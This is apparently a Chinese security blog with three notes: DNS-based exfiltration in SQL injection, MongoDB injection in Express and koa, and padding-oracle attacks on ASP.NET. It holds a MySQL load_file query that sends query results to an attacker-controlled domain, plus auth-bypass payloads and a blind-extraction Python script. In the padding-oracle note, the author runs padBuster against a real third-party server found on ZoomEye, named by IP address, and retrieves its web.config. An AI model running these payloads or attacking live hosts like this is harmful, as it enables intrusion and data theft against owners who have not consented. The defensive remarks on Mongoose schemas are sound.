笔记: Data Retrieval over DNS in SQL Injection Attacks
0x01
在 WooYun Zone 看到这么一个案例:http://www.wooyun.org/bugs/wooyun-2013-044473,一个非常有意思的获取注入结果的方式,然后找到这么一篇 paper 详细的讲述了利用方式,姑且我做一个笔记。
首先要了解的是 DNS 的查询流程:
首先我们向 DNS 服务器请求查询 test.loli.club,DNS 服务器再向上一层的 DNS 服务器请求,返回 NS 服务器的地址,然后 DNS 服务器向 NS 服务器请求查询 test.loli.club 的 IP 地址,接着 NS 服务器返回目标的 IP,最终返回给用户。
作为攻击者,我们可以控制的几个变量是:
- 查询的域名
- 域名的 NS 记录
- NS 记录指向的 NS 服务器
一般来说,NS 记录在域名注册商那里就可以修改。NS 服务器就是一个 DNS Server,所以很方便的可以自己搭建。
不过好像要进行下去的前提是你要买个域名_(:з」∠)_
0x02
在几年之前,135/139 端口抓鸡盛行的时候,有一种叫做 IPC 抓鸡的方式。我们可以用:
net use \\10.211.55.3\ipc$
来建立 IPC 空链接。此处的 IP 也可以是域名,就像:
net use \\ricter.me\cee
我们利用 Wireshark 抓包,来查看是否进行 DNS 查询。首先运行命令:
然后可以很清晰的看到查询了 baka.loli.club。
OK,到这里也没有什么问题。
接下来,对于 MySQL 熟悉的人可能会知道 MySQL 有一个 load_file 的 function,可以用来读取文件。实际上,这个函数在 Windows 下也可以用来访问类似于 \\10.211.55.3\ipc$ 这样的地址。
我们进入 MySQL command line,然后运行:
select load_file(concat('\\\\', user(), '.loli.club\\owo'));
然后我们在 Wireshark 里发现:
好像很有道理的样子呢 (๑`・ᴗ・´๑)
此外,对于 MSSQL、Oracle 还有 PostgreSQL 的利用方式可以查看文章开头的 paper,由于本地我只有 MySQL 环境所以我也懒的测试别的了_(:3
不过到现在我们还没有讲到具体怎么获取到我们想要的数据。
再看文章开头,我们讲的攻击者可以控制的三个变量,我们可以将查询的域名(变量 1)的 NS 服务器改为我们控制的 NS 服务器(变量 2、3),然后获取到查询的域名的地址,这样的话就可以具体的得到注入得到的结果了。
0x03
- 修改域名的 NS 服务器,指向可以控制的 DNS 服务器。此处我在 Godaddy 上修改我的萝莉俱乐部为我的 Blog 的域名:
- 在 DNSPod 上添加 record 指向我的服务器:
- 接着在我服务器上用 https://github.com/RockyZ/SimpleDNSServer 这个小工具来接受 DNS 查询,
sudo python SimpleDNSServer.py
。
如图成功获取到数据:
不过因为我们的 NS 就是这个服务器,所以每次查询都会循环查询自己,差点给我炸掉,所以我修改了一下。
其中 Filter string 是过滤掉无用的查询。
4. 随便找一个注入点,来测试是否可以成功获取到数据。当然,目标的环境要求比较苛刻,需要 Windows 服务器,并且 MySQL 需要是 root 权限。
这就用我前几天挖的 pixmicat 的 0day 好了,是一个盲注。
我们先按照上面的步骤搭建环境,然后发送 payload:
然后在服务器上查看回显:
于是这个洞从一个鸡肋盲注就变成了一个可以分分钟拿到数据的 SQL Injection 了ww
参考
Mongodb Injection in Node.js Web Framework
The difference between Express and koa
Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。
GET
在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:
test[1]=a&test[2]=b
Expres 的 req.query
会把 test 处理成 Object:
{ test: [ 'a', 'b' ] }
koa 的 this.request.query
却不会:
{ 'test[1]': 'a', 'test[2]': 'b' }
在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。
POST
在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded
时,Express和 koa 的行为也是不相同的,对于:
test[a]=123&test[b]=456
Express 的 req.body
解析后的结果为:
{ 'test[a]': '123', 'test[b]': '456' }
koa co-body
处理后解析后的结果为:
{ test: { a: '123', b: '456' } }
当 Content-Type 为 multipart/form-data
时,对于:
------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[a]"
123
------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[b]"
456
------WebKitFormBoundaryxUTB0WY8QmAfDBIp--
Express 利用 multiparty 解析的结果为:
{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] }
koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json
时,Express 和 koa 在结果上时相同的,对于:
{"test1": 1, "test2": {"test": "hello"}}
解析结果都为:
{ test1: 1, test2: { test: 'hello' } }
另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。
Mongodb Injection in Express
这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。
对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。
我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin
Bypass Login Directly in Express
/controllers/user.js
LoginHandler.login = function (request, response) {
var user = new User({
username: request.body.username,
password: request.body.password
});
user.login(function (err, user) {
if (err) {
response.status(500).json({message: err.toString()})
return;
};
if (!user) {
response.status(401).json({message: 'Login Fail'});
return;
};
response.status(200).json({user: 'Hello ' + user.username});
});
};
此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js
User.prototype.login = function (callback) {
var _user = {
username: this.username,
password: this.password
};
db.open(function (err, db) {
if (err) return callback(err);
db.collection('users', function (err, collection) {
if (err) {
db.close();
return callback(err);
};
collection.findOne(_user, function (err, user) { // Injection
// do stuff
});
});
});
}
由于此处我们提交的数据为:
{"username": "test", "password": {"$ne": 1}
Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。
Login Blind Injection in Express
/controller/user.js
LoginHandler.login2 = function (request, response) {
var user = new User({
username: request.body.username,
password: request.body.password
});
user.login(function (err, user) {
if (err) {
response.status(500).json({message: err.toString()})
return;
};
if (!user) {
response.status(401).json({message: 'User not exist'});
return;
};
if (user.password === request.body.password) {
response.status(200).json({user: 'Hello ' + user.username});
} else {
response.status(401).json({message: 'Password is not correct'});
};
});
};
此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:
{"username": "test", "password": {"$regex": "^1"}}
如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:
{"username": "test", "password": {"$regex": "^11"}}
重复上述步骤直至猜解结束。
Exploit
0x01
Code:
import urllib2
request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"})
print urllib2.urlopen(request).read()
Result:
0x02
Code:
import sys
import urllib2
def req(url, data):
try:
request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'})
return urllib2.urlopen(request).read()
except urllib2.HTTPError, e:
return e.read()
url = 'http://localhost:3000/login2'
FLAG_USER_NOT_EXIST = 'User not exist'
FLAG_PASSWORD_INCORRECT = 'Password is not correct'
chars = '9876503412'
payload = '{"username": "ricter","password": {"$regex": "^%s"}}'
password = ''
while 1:
for i in chars:
resp = req(url, payload % (password + i))
if FLAG_PASSWORD_INCORRECT in resp:
password += i
print password
break
elif FLAG_USER_NOT_EXIST in resp:
pass
if i == chars[-1]:
print password
sys.exit(0)
Result:
Express with Mongoose
常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。
使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:
var _User = new db.Schema({
username: String,
password: String,
apikey: String
});
这样的话,我们传入:
{"username": "ricter","password": {"$ne": 1}}
实际上查询的时候会被转变成:
{ username: 'ricter', password: undefined }
所以不会造成 Mongodb Injection。
At the end
Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/
Padding Oracle Attack 笔记
0x00
Padding Oracle Attack 经常在 AWVS 扫描的时候出现,但是作为渣渣的 rr 不会去利用这个漏洞。然而实际上,这个漏洞非常普遍,按照分类来说任意文件读取,但是利用成本略高,导致并不像网上常见的任意文件下载、本地文件包含或者是本地文件读取之类的漏洞一样流行。
漏洞造成的原因有很多写的很好的 paper 可以看,涉及到了密码学方面。下面是一些简单的介绍和利用,我也在此做一个笔记。
参考文章:
虽然看完有些头大,但是略微理解一点。下面是我的一点拙见,如果有错误还请指出。
ASP .NET 可以通过 ScriptManager 来打包输出一些文件,调用的方式类似于:
http://localhost/js.php?file=static/js/common.js
如果放在黑阔眼中,这大概就是一个明显的本地文件读取了。当然,ASP .NET 没有那么白痴,他会稍微加密一下,就像这样(实际上不是):
http://localhost/js.php?file=c3RhdGljL2pzL2NvbW1vbi5qcw
虽然这是一个简单的 base64 编码(就当它是加密好了),但是还是对于利用造成了一些难度。
说到这里还是没涉及到密码学方面的问题,而且密码学也不是咱的强项,我还是直接丢链接好了。
0x02
参考文章:
这里大致讲了一下 Padding Oracle Attack 形成的原因。
比如我们想读取 web.config 这个文件,我们可以通过加密,然后发送给服务端,服务端经过解密后发现这个是 web.config 这个文件,再返回它的内容给我们,我们就可以获取到 web.config 的内容。由于加密算法的缺陷,我们可以成功的伪造一段密文,导致利用成功。
这种攻击方式其实和哈希长度扩展攻击有着异曲同工之妙,具体的方式可以通过阅读上述的 paper 来理解。
0x03
在 ZoomEye 寻找到目标后,咱决定来一次实战攻击,在这里就不打码了。
另外,这个攻击的攻击成本还是挺高的,为了获取到这个文件信息,我大概发送了 10000 多次请求。
拿到目标后我们先查看源代码,发现存在 WebResource.axd 和 ScriptResource.axd 这两个文件。这两个文件是我们攻击所需要的,如果不存在的话Σ(っ °Д °;)っ...rr 也不知道该怎么办..
然后我们来获得想读取的文件的密文。
perl padBuster.pl "http://61.157.135.8:81/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2&t=633802945995006876" fUTgMrmxXz2EoDlng2fLLQ2 16 -encoding 3 -plaintext "|||~/Web.config"
这里引用上面的链接里的话来解释这段命令的意思:
这里的16为每个数据块的字节数,分为8和16,目前本人还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为 16),encoding参数有4中,分别是:0=Base64,1=Lower HEX,2=Upper HEX,3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3,plaintext为想读取内容的文件,本次测试以web.config为例。
经过一段时间的加密之后,我们得到了密文:
这里产生的密文就是加密后的 web.config 和一些填充的字符串组成的,因为此时我们不知道密钥的值,所以我们可以生成出加密后的 web.config 的字符串(这里实在是说的不清楚..总之可以暴力破解得到正确的密文就好了)。利用命令:
perl padBuster.pl http://61.157.135.8:81/ScriptResource.axd\?d=y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log
然后慢慢跑啊跑。
跑了很久之后,突然发现有一个返回的 Content-Length 与众不同,就像人群中闪耀的 P7 一般:
看一下 log 文件,的确是 web.config 的内容:
URL: http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
Post Data:
Cookies:
Status: 200
Location: N/A
Content-Length: 47983
Content:
<?xml version="1.0" encoding="utf-8"?>
<!--
....
访问地址:http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
浏览器中同样显示出 web.config 的内容。
至此攻击成功。
0x04
需要注意的一点是,Padding Oracle Attack 不仅仅适用于对于 ASP .NET 的攻击,还适用于采用了 CBC 模式加密方式的各种场景下。
参考文章
如上所述,Padding Oracle Attack 攻击的成立条件为:
- 攻击者能够获得密文,以及附带在密文前面的 IV (初始化向量);
- 攻击者能够触发密文的解密过程,解密失败和解密成功的结果具有差异性,且能够知道密文解密后的结果。
另外所述工具在 Github 上搜索 padBuster.pl 即可。
心好乱_(:з」∠)_..